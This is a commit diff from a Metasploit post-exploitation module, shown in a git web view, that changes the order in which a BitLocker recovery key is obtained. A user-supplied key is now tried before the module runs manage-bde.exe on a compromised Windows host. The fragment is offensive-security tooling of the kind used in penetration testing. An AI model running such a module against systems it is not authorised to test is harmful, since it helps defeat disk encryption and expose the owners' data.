if recovery_key specified, only method that is tried
parent
f49d6905a6
commit
dd027982ae
|
@ -68,6 +68,10 @@ class Metasploit3 < Msf::Post
|
||||||
print_good("Successfuly opened Disk #{drive_number}")
|
print_good("Successfuly opened Disk #{drive_number}")
|
||||||
seek_relative_volume(0)
|
seek_relative_volume(0)
|
||||||
|
|
||||||
|
if !datastore['RECOVERY_KEY'].nil?
|
||||||
|
print_status('Using provided recovery key')
|
||||||
|
recovery_key = datastore['RECOVERY_KEY']
|
||||||
|
else
|
||||||
print_status('Trying to gather a recovery key')
|
print_status('Trying to gather a recovery key')
|
||||||
|
|
||||||
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
|
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
|
||||||
|
@ -90,10 +94,6 @@ class Metasploit3 < Msf::Post
|
||||||
print_good("Recovery key generated successfuly : #{recovery_key}")
|
print_good("Recovery key generated successfuly : #{recovery_key}")
|
||||||
else
|
else
|
||||||
print_status('Recovery Key generation failed')
|
print_status('Recovery Key generation failed')
|
||||||
if !datastore['RECOVERY_KEY'].nil?
|
|
||||||
print_status('Using provided recovery key')
|
|
||||||
recovery_key = datastore['RECOVERY_KEY']
|
|
||||||
else
|
|
||||||
print_status('No recovery key can be used')
|
print_status('No recovery key can be used')
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue